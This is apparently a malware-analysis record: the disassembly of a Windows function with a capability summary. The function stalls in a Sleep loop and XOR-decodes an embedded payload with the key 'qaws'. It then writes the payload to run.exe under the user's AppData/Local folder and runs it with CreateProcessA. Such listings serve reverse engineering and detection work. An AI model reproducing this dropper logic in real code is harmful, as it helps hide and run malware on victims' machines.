Function at 0x1400014a3
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
call fcn.14000183e
lea rax, str.Work_01_n
mov rcx, rax
call fcn.140001400
lea rax, [rbp + 0xc0]
mov r9d, 0
lea r8, [0x140001483]
mov edx, 0
mov rcx, rax
call fcn.1400079ba
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call fcn.140007dde
mov word [rbp + 0xde], 0
mov dword [rbp + 0xd8], 0
jmp 0x140001540
mov ecx, 0x190
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
movzx eax, word [rbp + 0xde]
add eax, 1
mov word [rbp + 0xde], ax
mov ecx, 0x258
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp + 0xd8], 1
cmp dword [rbp + 0xd8], 0x257
jle 0x14000150c
cmp dword [rbp + 0xd8], 0x1f3
jg 0x140001562
mov eax, 0xffffffff
jmp 0x1400017bf
lea rax, str.Work_02_n
mov rcx, rax
call fcn.140001400
mov qword [rbp + 0xa0], 0x73776171
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov dword [rbp + 0xd4], 0
jmp 0x140001607
mov dword [rbp + 0xd0], 0
jmp 0x1400015f7
mov eax, dword [rbp + 0xd4]
cdqe
lea rdx, [0x14000d020]
movzx eax, byte [rax + rdx]
mov edx, eax
mov eax, dword [rbp + 0xd0]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor eax, edx
mov ecx, eax
mov eax, dword [rbp + 0xd4]
cdqe
lea rdx, [0x14000d020]
mov byte [rax + rdx], cl
add dword [rbp + 0xd0], 1
cmp dword [rbp + 0xd0], 3
jle 0x1400015b5
add dword [rbp + 0xd4], 1
mov eax, dword [0x140015020]
cmp dword [rbp + 0xd4], eax
jl 0x1400015a9
lea rax, str.SystemDrive
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp + 0x60]
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [rbp + 0x60]
add rax, 1
movabs rcx, 0x2f73726573552f3a
mov qword [rax], rcx
mov byte [rax + 8], 0
lea rax, str.USERNAME
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp + 0x60]
add rax, 9
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.140001451
cdqe
lea rdx, [rbp + 0x60]
add rax, rdx
movabs rdx, 0x617461447070412f
movabs rcx, 0x722f6c61636f4c2f
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x652e6e75
mov word [rax + 0x14], 0x6578
mov byte [rax + 0x16], 0
lea rax, [rbp + 0x60]
lea rdx, [0x140016027]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0xc8], rax
mov eax, dword [0x140015020]
cdqe
mov rdx, qword [rbp + 0xc8]
mov r9, rdx
mov r8, rax
mov edx, 1
lea rax, [0x14000d020]
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sub.msvcrt.dll_fclose
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Work_03_n
mov rcx, rax
call fcn.140001400
mov eax, 0
add rsp, 0x160
pop rbp
ret